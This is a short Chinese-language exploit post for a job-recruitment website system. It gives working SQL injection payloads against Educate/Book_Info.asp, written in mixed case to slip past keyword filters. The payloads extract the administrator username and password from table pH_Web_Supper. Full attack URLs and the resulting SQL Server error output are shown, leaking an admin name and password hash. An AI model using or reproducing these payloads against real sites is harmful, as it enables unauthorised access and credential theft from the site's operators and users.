漏洞出現在Educate/Book_Info.asp

    此處注入點雖然過濾了一些關鍵字 但是我們還是可以盲注的 可以利用sqlmap跑出

    exp：如下

    查詢管理賬號：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)

    查詢管理密碼：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

    http://jobs.0day5.com/Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)

    Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'

    將 nvarchar 值 'hackbase' 轉換為數據類型為 int 的列時發生語法錯誤，

網絡求職招聘人才網站系統正式版漏洞漏洞預警

電腦資料

    /Educate/Book_Info.asp，行 8

    http://jobs.0day5.com/Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

    Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'

    將 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 轉換為數據類型為 int 的列時發生語法錯誤。

    /Educate/Book_Info.asp，行 8

    ​